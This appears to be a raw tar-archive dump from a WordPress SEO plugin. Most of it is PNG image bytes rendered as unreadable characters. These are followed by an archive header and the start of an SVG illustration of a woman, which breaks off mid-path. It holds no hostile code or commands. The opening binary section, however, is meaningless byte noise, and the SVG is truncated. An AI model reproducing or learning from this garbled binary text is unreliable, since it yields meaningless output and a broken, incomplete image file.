�y��c����th;�{����3��߆S���б�8�uU�<t�O��o�[Uh_���s���9�nZ�.�{偾.t��桻{�F��[[�I[��9gl ��巇���_�↚���#tZ:)UתO��tw_�RU�6�1�:�Zg�X��,��aa眸%�5:�;�}偾�ctmZ�f{�L�9��xgp�,�e蹤u�!꼸�Tzswmd������y��Z�@�d��UYf�Yz��a�f��m��`�W/��^��2�[�Y�ߓ,3�,=�9�[�ُ�&Pg�:�����Ի��J�O���[Y�z�^|�����%���HO�m��k���	f�zy������m�ͽ�y��,3�|F���Ŝ�D"�I����}��6gL��2_a�|�r��;��z�s,y���H�9���h�ϓHrν�z�Ƨ���zS>Y^��^w�2����r������I���W��
�K5$iz9v�|y;�yH=���s�|z-3��G��n�[h�7/�A'��sй�}w��Ә�cy��e֒�s����J��q�n��t�1ts��5����k{w{���a����.�+@Dj�e�헠î�s?cνUw(�e��\��e��b_9�L���}C�K��|1m�y�56C�7�s���sBO��:F����9�(��?DZ����?6C�g�����s�ͤ6E:3�SqkA/g�+�(t���={u9���8�C�~��烞�n{-��R���%J�$���J@�礼��;���}�s�A'�O���X�N�zv��˴�;L�<��`����1t .
�'7f���헛DBt�a\P�FH%��}���~-�+�W�3�ѹ�6���fй(����k��T��?�=�@7��܋�s�
딬�3R��
s�U�����i�!H���*C��>���y��@j�e�ꩠs1�����K.��K��E !	��@
��!��$�q�{���,=��ů�I��•{(��:>t�gbO�	й��V�$r�B!����F8 ���	�VB�z^�s&���&�]6��;�O
���mƭ'(�wA'�"BD=t#
�������v=t���S��)x��w���v_��_v):ە�e�i��d�q�"�������
t�Ha+!���Q��B7po��@�x>��s�s�~
��d���R�=%�%�q������/���X	h�J��=t��е�HؽA���&8�e�+��~�y
�W��$��DZzd�KF�����o.%�/k�;��c�u�O���G�v=�jy�t~k0����H��:l��"�n=�ܑ��g�q�q�,����I�B�߸v�Wz13ΡN͝7����ƭ����{��{*��Ϗ?��JF�c�;T�y�b�j:�sl��a:��װ��|Ӊ~������j�~��"��y_7wK�G�/l�[��7��Υ��=�=W(=���9�{��!�TӜn$�p�B�J! �z��+S���t�|�^7wK/�~r�e�z1]�4�?�=C�KOt�as�م{y<�W��-���w�7�C
t���	��������е:�w=w��/]6Aq��_�;��x���7���Y�g3�g����	�S��=C_	�V׫���L�����S���]�z��}B'�@�dϙs��\u��L�;^���'���s7j.�q�򸏑���3�П6�o����֯�]��d��O��g��ԏ�p���R�)��l�Tew=�X�?L/tε-CF����"���[A�2�g�� �X�9W��#W�:�s�hc�z�8>Lz� ��0��C�z���l=C�K�w޶M<u��v/�	]!)�C��s��I/��ӡ�����NʇHz�����t�E�u���c�����v=C�S;Ġ'���}Ǚ�^���?{�ݨ�0Lؤ�tN�����IP�`�
F�����Z�C7��$ۉ�2�=O�^�
��R�Zt����6���Dw�L���p�¡��j�,��0�<+�	�[����&a�����Y�؉��
"�[�����6��|�	.b{�����������|-gYH'[�8��,˧�a���Dx"�͉|�����.�c'���R��Okn!�8�'*3w�>�� dI�;��?U�����nf��Ny)�Ew|Y��9�.0�ga	�o͐N������NJ��"qU�_�w���i2��Yv,tJ�p�k�{���P꫊~t��q!=H����YX}H@r4�%���l��I�+�݅tK�'D?9`):��M/+⦙g��u{����Swգ��+����CzU�	r�\`E��>���'z&���ͣ�Ÿ�8�
�l��9�;�l�RO��<sL��.��^�(ڦd!};�]d�Qh�'ۨa
*�ל��Uy�Z�>����6�X� *��݌�b ���B��It�7�8�KH?̈^�-bS��fȎ����C���2�y�/�a��X%�4�H>LzF~���
���>���ҵ��!x����%,XzFWy�_�
R�C-oPuw�����4��ń��7���E�=�7��Dϐ��K?�]&�r�A|T���e�UK��f$�gf��H��f���Y�R�;(D��1�c����Yx�Iߓ���heZt���>[�M�;�?c,�`���`�-�m�N�|"��O�9T�8���y��8��_t��m���!C��ATtS����p�s���G?��g
��ez��^�4��W�WK����a�
ѿ�y�ҍ�Zt*��|�l�>�.��%�+6�d����"�'h���pW9�-�(~/�[�;R�n��'�]#��P^t����W��耏�8���I9D���Ӟb�t��=ѣ����$Ni$���ԉ� �[��9��")�Z�'2�uΝo�����d�^k��]�v��ݱ���9ƭ(�ٮ[���7]tD��r�s]���Pg_���U�w��;�QH�lnǓ�^���8�[>oz��E�8�b\\�a
�g-���b_�\?0NX��E��{c�!-�tb�t�?�M��U?��|��o�>���5*�S��s�Zt%���-����b'�s8�y�ץ��	AH7=�6�yӅ�2#xb1��kp�I��[��͢R�BZ���
�D�%!}��P.�,���r�j͎8��L7D�x�
3JӮ����q�}D�ҡ������{N�.��{np\���西bG��p�St�"/
E�\��U8��NBtW���rb,�Tu�M�^->�߽�.ϓ!х`a�V쌋{1M./�F�KJ'�cyHGxN��E�c9���=�FM?�����C�����ib:��
'�g��uwMbȄ�)a����ü�{��>�]z&�D:	�Go�V�$���nD�6L�v�;�T޽�Y9�_��^�B��=�l�E�;��� ~ۖ�'��DH�q�P����
i��z
!���58؈^�+f'��ң$�(��]���g����tD�{�Ţ�[!D&H��f��}�mD/�㈛P�5rw�Ds@���6^$B�nH7��D�>�K��S��l�_�V�pO}ڠd���v��Q���(�D�7����]�!}�=�gY���dX�� �jy�-��<��In��)�+���ό6Cx��ۉ;x�<uo���Jév�綢�(����!�6�	�J��I�F=�A���x�8�ۙ�{sJ��;��
�m�_�7��{���uPN�`�T�jҺ�~���?qYC4&��&�g	c,1w�<�[<T�莅��D$|���������t-�'83D����'��1�M�Eޚ�\���Dw!�@��k�}\�~�w|�`Lt�;ct�|u�Y�>~@���^tK�N�w�*s� Y,��y=��u3!�g������u�ċt��{���s�2w�B�+��L���gDWt��5��8er�^�mp��؉�0�^���^b�
!ś=0D�a���bܚ�l�nS��X"z����}���#$�I�#.��z>�;�D�� X&��6��'����`��Tm��G[�[�)UOJ�ܽ�d|�hZt�#z�EZ���U�Ht��a��Mr~>X�{���(P������:�Z�;��P>�/:��3��5-z��	�d�w�;��{6�S��!��8�}�8�R1�؉�~!=�F�Y9�Q�2�.��g�-�Ȣ��,����զwICQ�����҉��!�@_�C��c9	���͊�e-ѳ���΢hy1nͳ��auF�n�S�ѥ���ݱ%�.���Ґ�����n�D�vg\��a��E�sg������߽��	D�s��a��n�
�͊�EߥѽD�k�]�fW�[��8�������Bz^WY�.Ł�@�z��kу�@t��8��6��93��Jt������,[��!=��א�j�Y�ߣ�Y��n_���_t�� �f�>U�t%z̴� �}g��',t&]���Ewl?J�
�9��_����]�E�DQ��=/���TU؃o��C�A�7�A%zU��� U��%�6�bxz�6�=UA���#U�y,H��±%��3T�g=2�t�y��*����C��$_c�E~�P��.u�T�k���2M����6�#�0�N�E��]�1��]��UI�a�s 4�Ko}���ڢ�6O��.ʉ������z��0�9��:�����X?��B]�I���A&:�^���%9[���uPߢEO�EG\��Q�>6Hs'�c�-�<z�?�D�n�i2@��g�"�����.��Ή� L��`�_�Pe��?�Do���E�U�TQ�K)n�W
}�ݱ���(e�������w�6�/\c�.v�,<\�.x^x��6k޺�ʉ��^t��TT~���]��٠p�]�^%������}�Q�#�cK)ze�^ъn�Td����ƵYGty�
�"��S	�������h��(b�Y�\^P�e_��'��'mv�Z��ez�wM�Q�O:O�����r��~�@�隝�]{�M��`����r�j�r�U�#����7��'DzAj}e:�}��t����;�^Y.][��#��']+gqH�	�@��M�\4W7$��k��+��e9�n��_��� �4�z	����I�����++�\pF7�q����d��}�/�3N�}�/��DwliE�C:=���oo�.ՃE�"�~��*��>�y���'�
��VuwP����,�D!�~��J	DW]qi�������ID���J_��N�
�k�����HU��@t��d󗯊|�I�}B-�3z�0���_Jt�O*z�M��U��pN��"QҔFt�`U���b�"�D�]�>�]�^��V�ܝ�t�o�6R�r�b�vi���]����я��l0�m��/�c����8R�-��*�⦸̹HR"�s6O
���SN���hx�F]��݁�;�g�����Msr-���HQ,*��gҩ{ݿ���;l��7���~�5��_'��r�P��4���Ÿ~G\�
��{:�M������֡�zh�^!#����fWz�1��);�ws��l�E,�ɨ�,�x[������Dw��CzeZ���!�ȧ�6����N"����(�����ˈ�]?-?Zt��ۋ<��^�I"/Jv����д�pK��]0�6�8��뵄+�sq����[�ۈ�m�-
������۩O݁��%}H'�ݓ����GT�����T��T��"o�c��J��w�;�i9n5�'�^
k.�'z��f9�;MO�������?�4���J��4/.�ç���<I���S��w�Pz�����|���֘���JV�H��I��E����ܽ�]���e9���E�ۖ�yr�ۚ������7��7��j+�L�"z�_�Qd�Dtɀe-�1��g��� ��kֿ� zet�$K	D�Q����d�>/R6�CD�7ymD�*h�o��J'�{�����>uDǒ����.Z�t#�����r\�f�Z�\�9�]�>^t2��ҁ������l�^���Z���#�+�h���]��Hu�����3��Rt��3xJ��~߳�ы��'����C:P�{n��$L�4��At@��B�ݫ�/�lz݃q4"8�'�w,�.���i��mno%z�Ŀ���6���S�^�I���Fs0�{&��� ���^�'fnLՕ�H�`5�k�$F_lx1=��s�g]6�\�������^�Ӽ`��얩О��/�s��p����	'���	f�)U�M�8���mz�;��G���r\E!:Bu���`=�Mß��=W2�|:�\��3�sA9�_���^�P�i�4��E�?^8���q�#|�щ�bS�$���#�� �Ol�)�t^��i|��^�D�]*ˍ#:o��3�܉J����E(:P�m{Uճ$�>�͍x2s�7}���.�[�N.���2.���2����@t>�H'����R�{�������Ν���#6��:�_,�t��rl�[1���J%�:g���l��*@˃Q˟�@'���6	�������,��m�z8o���`�k�e�
̏LJw�<4txm�c|0���wsw�I���-Bor^oܝ��>���R\��66������:��ήx��:�e麽C�?-�_~薹=t��9��u\��	r?���z
�;(�J�t�|s��r�HG:�{�tm3�<ҍ��t����G�'t�y^�տss�Hgw���C�>���߹����������<�?��#}W��u���gu�m���t�6#]��浧c�k��!��:���H��>M���y����e�3ԁ����u���q~�߹=t�����tW�c����ةs�Hz�����F�u����)�:�)_i���(�w<6�߿���4ґ��t���p<�C��!�\��?��l�ө�q�eaw7�꫼�
�����U;�f`87(�x��5~�>l�Q$�j��T���d�ncb��k�aܞs���V#ݖ�N�-���V���b0��ýK���t���f�g_<�Fz�ͻ�snV�����ㆥ�Y�z���uN�]
��8c�s����{���G��F�y��ۡmws
�֟�.����xM��{J5Ю��6�
#�q�b�V;7��z�[��ɹ�H��Hי��� #��p�a5��/}��H�c�e2�n��?WM�C��,w]�G��y�k;��iYy�{~X͡ÏMI��z��;�OέR���y�gyK�G�y�H��~Zثsc��"������Ƹs�6#=��a-t�&�u�v���9��:�=%�ev�A�֥���#}�|RS竾r���u�����{^�g�V���7s-��@�����q:d�c�k;�%���
c9���@�C�8}���`�ky�Q�{�W��ǵ�1/����ݶ�w{(e���^�t�tշ<D��g@�e�Ws^&��k;���R���o�j�\�N��@����롫�s�Ӭ�B�@OK�O ��8:-���k���ҫ�̡/��N��Г����:���_6�ߟ��s����tYw�.E���im#�{�Y��.�;�Z&3�Z�O�龻dm�t��됪
�2�/�
�9/k��uOM7`���t�s��t�S�e:��!g��j��LM����_%_���w�)6��-��F
��Ԗ�k&���/@z�O�e�z1�o"v���;�@�&浴�U/e^��bg��Ԧ���Z/e�S{��Dr���Wmg~�s���u�=ɚʂWg�ׄt�]V�_�m���OБt����ƒ�%�k��Ρ�ŀy-�~��k��
�D�p�ϭZ*���H'�G�ι�ӗ�"7T^+@����[��/뮕w�N�WJ���'e��sK�g�|+]_3|s9�[L��N@ѩ��*��V�zc@�^���ʟ����:�-�z�>�ǩN@�-�ms���)�g@ߍ��7C�����c�,��n�hg�fd��C��螥Μ�l���}H�;ct����$�����9���'�#�5���͝�̸]��'-(�zde�st��h㼶��!��9�w�]�WI�[��5́�M��]���yde7v��T��{(/1w*=��I�@�%��w��m�����SQ���ZZft�3��Um��S�	7`t�3�]���k��&/�Se9����+�@g��_Y*ۀ�Б��v��]Co`t�sN�7qf^�{���X��1�t�W�~�0z��u��bp�t�w��{��?�#^����~��D6����ЁNr*���8:Ёޱx1��:Ёޱx�qt��c���@�B�|��q��@j�xȎ�
��eu��*���ߌ9Ё�YW����@z�oS��.i~�]܏t���T�\F|f�u����-4�w����p���@7�c���"�|W�
�@��}a�K�KI0���F}(ٯ�@:��m\o΁t��>��rH:��m�q)�H:Iχ�:Ѝ�n�9Ё�/�n\܋t��4�]�*F:�I:��K�,���)�ǵ����o㼝�d}���@w��8	�!����:�I����z
�@��m�N�~�@'��6N����Y@:�M��t�q�H:IK�j�t�qt�t=��H@�Y��m�T�c�����8��-�� ��V�T��t��4u��p�t�����y3g����m�ԝs��̡�f́n%�ow��S�t��5��q�H�k�ƥ�ЁN�Ч��9ҁNr��8	]t�}9�qt�@'1�����9#�$�O����9#�$��q)� ���6��q�t��8�ƅ�t�����I�ͥ�,�O�k;�
���6n��9#�]��p��@w�l DR]G�IEND�B`�wordpress-seo/images/mirrored_fit_bubble_woman_2_optim.svg000064400000031601147510273100020201 0ustar00<svg viewBox="0 0 299 322" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><g transform="matrix(-1 0 0 1 298.412 0)" fill="none"><circle fill="#F0ECF0" cx="131.2" cy="190.029" r="131.2"/><path d="M262.5 92.23c-1 1.2-3 2.9-7.5 5a18.4 18.4 0 0 1-10.9 1.6c-.5-1-1-2.2-1.7-3.3l.4-.2.3-.2a14 14 0 0 0 3.3-.2c2.4.2 4.7-.6 6.9-3.2 3.1-3.9 1.7-10.7-1.3-14.6 2.6 2.5 4 5.7 6.4 8.6a231 231 0 0 1 3.3 4c.1.4 1.5 1.8.8 2.5zm-90.9 98.2a17.1 17.1 0 0 1 4 14.3c-11-7.9-22-18.9-31.8-37.8 26.5 1 39.4 8.8 39.5 8.7 43-17.2 51.7 1.5 66.8-6.3 2.3 4.7 5.3 6.3 8.4 9.4-13.5-13.9 5.7-22-5.1-57.7 7.3 0 20.8-4.8 22.9-9.7 14.8 26.3 10.5 39.9 17.8 54.6.6 1.2 2.3 6.7 3.5 8.2 2 2.8 0 7.7-2.7 10.6-29.7 32.8-68.9 33.6-93.5 36.8-6.4-4.6-13.8-8.5-21.5-13.7-1-5.1-1.2-11.2-8.3-17.4z" fill="#F9BF8C"/><path d="M253.4 121.03c10.8 35.8-8.4 43.8 5.1 57.8-3-3.2-6-4.8-8.4-9.5a52.999 52.999 0 0 1-.3-2.2 50.2 50.2 0 0 1-.4-5v-2l.1-3.6.1-1.8.3-3.7.4-3.7.6-5.6a153.4 153.4 0 0 0 .6-9.5v-2a69 69 0 0 0-.3-7.8l-.2-1.6a10.5 10.5 0 0 0 2.4.3v-.1zm-11-25.6l1.7 3.4h-.1c-1.9-.1-2.3-2.3-2.7-2.6l-.1-.2 1.2-.6z" fill="#DB7A53"/><path d="M219.7 95.53c-.7-1.6-3-3-5.5-3.6.1-.011.2-.011.3 0a8.4 8.4 0 0 0 5.1-1.3l-.3-.2a1.6 1.6 0 0 0 .2 0 3.3 3.3 0 0 0 2.7-.6 34.2 34.2 0 0 0 6.4-4 5 5 0 0 0 2-2.8l.4.3c-.7 6.5 5.4 11.5 12.1 11.9l-.3.1-.4.2-1.2.6c-3.8 1.9-11 5.7-13.6 5.6-2.9 0-6.9-2.2-9.8-3.9 1.4-.5 2.3-1.2 1.9-2.3z" fill="#DB7A53"/><path d="M223.7 76.23v.3a3.7 3.7 0 0 1-.2 1.3c-1.3-.7-2.4-1.5-2.6-2.6a3.2 3.2 0 0 1 .3-1.7 7.1 7.1 0 0 1 2.5 2.7z" fill="#F9BF8C"/><path d="M253.3 91.73c-2.1 2.6-4.5 3.4-6.9 3.2a13 13 0 0 0 5.2-2.3c-6 2.7-10.5 1.1-13.8-1.5a36.9 36.9 0 0 1-4.7-5.3c-1.1-1.6-1.8-2.8-2.1-2.9a3 3 0 0 0 0 .3l-.3-.3a2.4 2.4 0 0 0-.9-2 10.2 10.2 0 0 0-3.2-1.9 5.5 5.5 0 0 1 2.9.6c1.6.9 1 2.1 1.8 3.1a3.3 3.3 0 0 0 .2-3.7c-.8-1.3-4-1.1-6.1-1.3a2.3 2.3 0 0 0 0-.2l.8-1a1.3 1.3 0 0 1-.7-.8c-.8-1.2-2.4-2-4.2-2.6l.1-.2a16.4 16.4 0 0 1 2.2-3.5c.7-.8 5.5-.3 6.1-.6a21 21 0 0 0 2.5.7l16.8 5.1a7.8 7.8 0 0 1 3 2.5c3 3.9 4.4 10.7 1.3 14.6z" fill="#F9BF8C"/><path d="M228.6 85.73a34.2 34.2 0 0 1-6.4 4 3.3 3.3 0 0 1-2.6.6c1.5-.6 2.1-2.3.7-2.8l-.8-3.8a10 10 0 0 0 2-.7v.1c.5.8.4 4-.4 4.6 1-.2 2.2-3.1 2.5-4a1.3 1.3 0 0 0-.6-1.5 5.2 5.2 0 0 0 .8-.8 6.7 6.7 0 0 0 1.3-2 6.3 6.3 0 0 1 1.5-.4 10.2 10.2 0 0 1 3.2 1.9 2.4 2.4 0 0 1 .9 2 5 5 0 0 1-2.1 2.8zm-5-16.3a16.4 16.4 0 0 0-2.2 3.5l-.1.2a39 39 0 0 0-2.4-.6 9 9 0 0 1 2.3 1 3.2 3.2 0 0 0-.3 1.7c.3 1.1 1.3 2 2.6 2.6a11.3 11.3 0 0 1-.9 1.8 9.3 9.3 0 0 1-2.7 3.3l-.5.3-3.4-15.4-2.1-.3a4.4 4.4 0 0 1 2.7-1.4 35.6 35.6 0 0 1 13 2.7c-.5.3-5.3-.2-6 .6z" fill="#F9BF8C"/><path d="M219.4 83.23a6 6 0 0 1-2.8.7 7.8 7.8 0 0 1-1.5-.2 4 4 0 0 0 1.5.2 9.8 9.8 0 0 0 3-.2l.7 3.8c1.4.5.8 2.2-.7 2.8h-.1a1.6 1.6 0 0 1-.2 0 39 39 0 0 0-7-3c-.3-3.4-.6-6.7-2-9.7 1.7-2.8 3.2-5.6 1.7-6.6 0 1.3-1.1 3.4-2.4 5.4a13.3 13.3 0 0 0-1.2-1.7 13 13 0 0 0-5.2-3.6c.8-1.7 1.4-3.5 3.7-3.8a24.3 24.3 0 0 1 6.9.2l2.1.3 3.5 15.4z" fill="#F9BF8C"/><path d="M223.7 76.23a5 5 0 0 1 .6 3.4 7 7 0 0 1 .8-.3 6.7 6.7 0 0 1-1.3 2.1 5.2 5.2 0 0 1-.8.8 1.7 1.7 0 0 0-1.2-.2l-.2 1a10 10 0 0 1-2 .7 9.8 9.8 0 0 1-3 .2 6 6 0 0 0 2.8-.7l.5-.3a9.3 9.3 0 0 0 2.7-3.3 11.3 11.3 0 0 0 1-1.9 3.7 3.7 0 0 0 .1-1.3v-.2zm1.6 1.3c.007.1.007.2 0 .3v-.3z" fill="#DB7A53"/><path d="M223 82.23c.524.3.773.92.6 1.5-.3.9-1.4 3.8-2.5 4 .8-.7 1-3.8.5-4.6v-.1l.3-1a1.7 1.7 0 0 1 1.1.2z" fill="#DB7A53"/><path d="M201.4 91.73a3.1 3.1 0 0 0-.8.7c-2-.9-3.9-2.7-5.7-3.4-.5-.1-2.7-.8-2.9-1.4a13.7 13.7 0 0 0 5.2 2 43 43 0 0 0 4.2 2v.1zm.1-2.2h.1a30.3 30.3 0 0 0 5.4.4 30 30 0 0 0 3.6 1.6c-2.6-.3-5.7-1-8-.4l-2.2-1.3a2.7 2.7 0 0 0 1.1-.3zm13 2.5a1.4 1.4 0 0 0-.3 0 10.6 10.6 0 0 0-2-.4h-.4a26.6 26.6 0 0 1-3-1.8l1.7-.1a3.2 3.2 0 0 0 1.3-.4 1.2 1.2 0 0 0 .5-1l6.7 2.7-6.7-3.6a39 39 0 0 1 7 3c.1.2.3.2.4.3a8.4 8.4 0 0 1-5.2 1.3z" fill="#F9BF8C"/><path d="M225 79.33a7 7 0 0 0-.7.3 5 5 0 0 0-.6-3.4 7.1 7.1 0 0 0-2.5-2.7 9 9 0 0 0-2.2-1l2.3.7c1.8.5 3.4 1.3 4.2 2.6a1.3 1.3 0 0 0 .6.6c.2 0-.5.7-.8 1.1v.3c2.2 0 5.4-.1 6.2 1.2a3.3 3.3 0 0 1-.2 3.8c-.8-1-.2-2.3-1.8-3.2a5.5 5.5 0 0 0-3-.6 6.3 6.3 0 0 0-1.4.3h-.1zm6 3.9a3 3 0 0 1 0-.3c.3 0 1 1.3 2 3a23.8 23.8 0 0 0 4.8 5.2c3.3 2.6 7.8 4.2 13.8 1.6a13 13 0 0 1-5.2 2.2 14 14 0 0 1-3.3.2c-6.7-.4-12.8-5.4-12.1-11.9z" fill="#DB7A53"/><path d="M208.4 74.73c.478.53.913 1.099 1.3 1.7-1.4 2.2-3 4.3-3.5 5.3s-1.3 2.6-.3 3.6a38.8 38.8 0 0 0 6.4 3 1.2 1.2 0 0 1-.6 1 3.2 3.2 0 0 1-1.2.4l-1.8.1a14.4 14.4 0 0 0-3.6-1.9 13.4 13.4 0 0 1-3-1.2c0-.9-.3-2.4-.5-4 1.6-3 5-8.2 2.7-10.1.9 1.6-1.4 5.5-3 8l-.8-4a3.8 3.8 0 0 0 0-2 3.5 3.5 0 0 1-.2 1c-.4-1.6-.7-2.6-1-2.7-.9-.3-2 .6-3 2 1-2.2 1.5-4.1 4.7-4.1a7.3 7.3 0 0 1 2.2.4 13 13 0 0 1 5.2 3.5zm-6.1 13a39.6 39.6 0 0 1 4.7 2.2 30.3 30.3 0 0 1-5.3-.5 1.7 1.7 0 0 0 .6-1.7z" fill="#F9BF8C"/><path d="M207 84.53c-.2-1.3 1.6-4.1 3.3-6.9a27 27 0 0 1 2 9.7l-5.3-2.8zm-7.6-11.7c.3 0 .6 1.2 1 2.7-1.2 2.7-5.5 6.5-6.7 8.9a3.4 3.4 0 0 0-.6 2c.2.7 2 2 4.1 3.2a13.7 13.7 0 0 1-5.2-2l-.4-.3a1.7 1.7 0 0 1-.5-.5 1.5 1.5 0 0 1 0-1.2c.5-1.2 2.8-7.5 5.2-10.9 1-1.3 2.1-2.2 3-1.9h.1z" fill="#F9BF8C"/><path d="M199.4 86.63a5 5 0 0 0 2 .8l.9.3a1.7 1.7 0 0 1-.7 1.7v.1a2.7 2.7 0 0 1-1.2.3c-1.8-1-3.4-2.1-4.1-2.6-.4-.3-.8-.6-.9-1a1.7 1.7 0 0 1 .4-1c1.2-2 4-5.9 4.7-8.7l.7 4-1 1.5c-1 1.5-2.2 3.5-.8 4.6z" fill="#F9BF8C"/><path d="M201.2 86.03c-.5-.7-.6-.8-.4-1.7a9.9 9.9 0 0 1 .8-1.6l.5 4a3 3 0 0 1-.9-.7z" fill="#F9BF8C"/><path d="M211.8 91.63h-1.2a30 30 0 0 1-3.6-1.7 39.6 39.6 0 0 0-4.7-2.2l-.8-.3a5 5 0 0 1-2-.8c-1.5-1.1-.3-3 .8-4.6l1-1.4c1.6-2.5 4-6.5 3.1-8 2.2 2-1.2 7-2.8 10.1a9.9 9.9 0 0 0-.7 1.6c-.3.9-.2 1 .4 1.7a3 3 0 0 0 .9.7 13.4 13.4 0 0 0 3 1.3 14.4 14.4 0 0 1 3.6 1.9 26.6 26.6 0 0 0 3 1.7z" fill="#DB7A53"/><path d="M195.8 85.33a1.7 1.7 0 0 0-.4 1c0 .4.5.7.9.9l4 2.6c.8.5 1.6 1 2.4 1.3a4.2 4.2 0 0 0-1.3.6 43 43 0 0 1-4.2-2c-2.1-1.3-4-2.6-4-3.3a3.4 3.4 0 0 1 .5-2c1.2-2.3 5.5-6.1 6.6-8.8a3.5 3.5 0 0 0 .3-1 3.8 3.8 0 0 1 0 2c-.8 2.8-3.6 6.6-4.8 8.7zm11.2-.8l5.3 2.8 6.7 3.7-6.7-2.6a38.8 38.8 0 0 1-6.4-3c-1-1-.4-2.4.3-3.5l3.5-5.4c1.3-2.2 2.4-4 2.4-5.3 1.5 1 0 3.7-1.8 6.5s-3.6 5.6-3.2 7l-.1-.2z" fill="#DB7A53"/><path d="M201.4 91.73a4.2 4.2 0 0 1 1.3-.6c2.2-.5 5.3.1 7.9.4l1.2.1h.4a10.6 10.6 0 0 1 2 .3c2.4.6 4.8 2 5.4 3.6.5 1-.5 1.8-1.8 2.2a11.1 11.1 0 0 1-2 .4c-4.2.6-5.5 2-11.5 2.8-2.6.4-4.4-4-4.4-5.9a4.2 4.2 0 0 1 .7-2.6 3.1 3.1 0 0 1 .8-.7z" fill="#F9BF8C"/><path d="M253.4 121.03a10.5 10.5 0 0 1-2.4-.2 5.3 5.3 0 0 1-.7-.2c-2.4-.9-8.6-17.6-9.3-21-.3-1.2-.3-3.5.3-3.4.3.3.8 2.5 2.7 2.5h.1a18.4 18.4 0 0 0 10.9-1.5c4.6-2.1 6.6-3.8 7.6-5 .6-.8-.7-2.2-.9-2.5.4-.4 1.3.1 1.7.3 5.9 2.8 10.2 12.7 13.1 19.4a2.9 2.9 0 0 1-.1 1.9c-2.1 5-15.6 9.8-23 9.8v-.1z" fill="#A52A6A"/><path d="M171.6 190.43c7 6.2 7.3 12.3 8.3 17.4l-4.4-3a17 17 0 0 0-3.9-14.4z" fill="#DB7A53"/><path d="M41.3 265.93l-.5.2c6.5 8.6 14.1 17.5 21 30.5a28.8 28.8 0 0 1 2.8 7.7c45.714 25.792 102.423 21.736 144-10.3-.8-3.5-1.7-7.1-2.8-11 12.67-7.311 18.506-22.484 14-36.4a43 43 0 0 0-18.4-25.1c-6.4-4.6-13.8-8.5-21.5-13.7l-4.4-3c-10.8-8-22-19-31.7-37.9l-.1-.2a71 71 0 0 0-19.9-2.3c12 5.8 41 37 4.2 43-29 3.1-47.3-27.9-84-28.7a47.8 47.8 0 0 0-13.5 9.4l-1 1a37 37 0 0 1 4.7-2c16.4 1 27 15.3 32.9 30.3 10.3 26.2 6.2 44.7-2.6 50.6-5.3 3.6-13.3 2.7-20-3.7l-1.5.7-1 .6-.7.3z" fill="#009288"/><path d="M29.5 189.23a37 37 0 0 1 4.5-2.2c16.4 1 27 15.3 33 30.3 10.3 26.2 6.2 44.7-2.6 50.6-5.3 3.6-13.4 2.7-20-3.7l-1.5.7c6.9-5.7 4.9-6.8 18-4.4-10.8-6.4-16.1-9.1-38.7 6.1a122.2 122.2 0 0 1-21.4-53.5 133 133 0 0 1 28.7-24.1v.2z" fill="#F9BF8C"/><path d="M61 260.63c-13.2-2.4-11.1-1.3-18 4.4l-1 .6-.6.2-.6.3-.5.3-.6.3-1.1.6-.7.3-1 .6-.7.4-1.2.6-.6.3-1.3.7-.6.3-1.3.7-.5.3-1.4.8-.3.1-1.6 1-.6-.9-4.5-5.8c22.6-15.2 27.9-12.4 38.7-6v-.1z" fill="#DB7A53"/><path d="M128 207.43c-29.2 3.1-47.5-28.2-84.5-28.7 14.2-5.2 23-11.3 23-27.1 0-8.8-2.7-25.8-3.6-38.2 0 0 57 21.4 57.8 36.1l2 14.3c11.2 4.3 43.3 37.4 5.3 43.6z" fill="#F9BF8C"/><path d="M87.3 151.73a56.8 56.8 0 0 1-17.1-22.8 62.4 62.4 0 0 0 43 22c2.5-.1 5-.2 7.3-.5v.5l.2 1.2c-4.7 11.9-7.3 19.5-33.4-.4z" fill="#DB7A53"/><path d="M162 280.43c.5 7.4-16.2 16.2-30.8 17.3-19.8 1.4-54.8-9.2-48-40.7 18.2 35 68.8 31.3 78.8 23.4z" fill="#216D64"/><path d="M122.5 72.33a9.8 9.8 0 0 0-2.1-.8h2.6l-.5.8zm-9.9.8a4.8 4.8 0 0 0-.6-1.7c7.3 0 4-.6.6 1.7zm12.6 14l.8.8c-.9-1.5-1.5-4.6-2.9-12.6l-.4-.3a16 16 0 0 0 2.5 12.1z" fill="#F9BF8C"/><path d="M154.7 95.83a44.5 44.5 0 0 0-1.6-8.2c-2-6-4.8-6.6-7.3-9.6a50.6 50.6 0 0 0-1-23.9c0 .1-8.7-35.8-54.2-22a44.6 44.6 0 0 0-10 5.9c-10.6 8.2-7.6 13.4-10 25.4a74.9 74.9 0 0 1-4.4 11.9c-4.8 3.8-7.6 6.5-8.1 9.9 1 4.7 5.4 18.3 5 28.1 6 27.2 36.6 38.3 50 37.6 2.6-.1 5-.2 7.4-.5 6.5-.7 11.9-2.8 17-11.3 6.4-10.8 5.6-16.5 9.4-22.5 2.5-4.1 9-9.7 7.8-20.8zm-42.2-19.5c-1 7.6-2.5 10.5-5.3 11.4a18.3 18.3 0 0 0 1.3-3.3c-4.6 2.5-17 2.8-21.2-3-.9.4-2 .4-4-.6l.2-.1c4.2-.1 2.6-1 4.1-3.8a10.6 10.6 0 0 1 .6-1h17.1a11 11 0 0 1 3.8 6.7 58.3 58.3 0 0 0 1.2-6.8l3-.2-.8.7z" fill="#F9BF8C"/><path d="M112.6 124.23c-4-2-5.6-6.3-11.6-10.8 10 5.2 19.3 6.3 26.5 3.8-1.7 1.7 1.2 6.3-3.5 8.4-4 1.7-7.3.5-11.4-1.4z" fill="#D86060"/><path d="M101 113.43l-1.6-.8c7.9-.3 12.9-.7 17.2-.3 2.2.3 2.2 2 3.8 2 1.6 0 2.7-1.6 4.4-1.4 1.2.2 3 1.1 5.6 3a20.3 20.3 0 0 1-2.9 1.2c-7.2 2.6-16.6 1.5-26.5-3.7z" fill="#BC3939"/><path d="M108.5 84.43l.2-.5a15.2 15.2 0 0 0-2.3-3.8c-5-5.8-13.6-5.1-16.5-1.6-.9 1.3-1.5 2.4-2.6 3 4.1 5.7 16.6 5.4 21.2 3v-.1zM97 85.63a4.8 4.8 0 1 1 .408-9.592A4.8 4.8 0 0 1 97 85.629z" fill="#FFF"/><path d="M89.9 78.53c-.9 1.3-1.5 2.4-2.6 3-1.1.6-2 .2-4-.7l.2-.2c4.2 0 2.6-1 4.1-3.7 2.8-5.2 9-4.8 14.6-3 .1 0 5.9 2.4 6.8 8.7l-.3 1.2a14.4 14.4 0 0 0-2.3-3.7c-5-5.8-13.6-5.1-16.5-1.6z" fill="#000"/><path d="M127.5 83.03h-.1a27 27 0 0 0 11.6.6c2.7-1 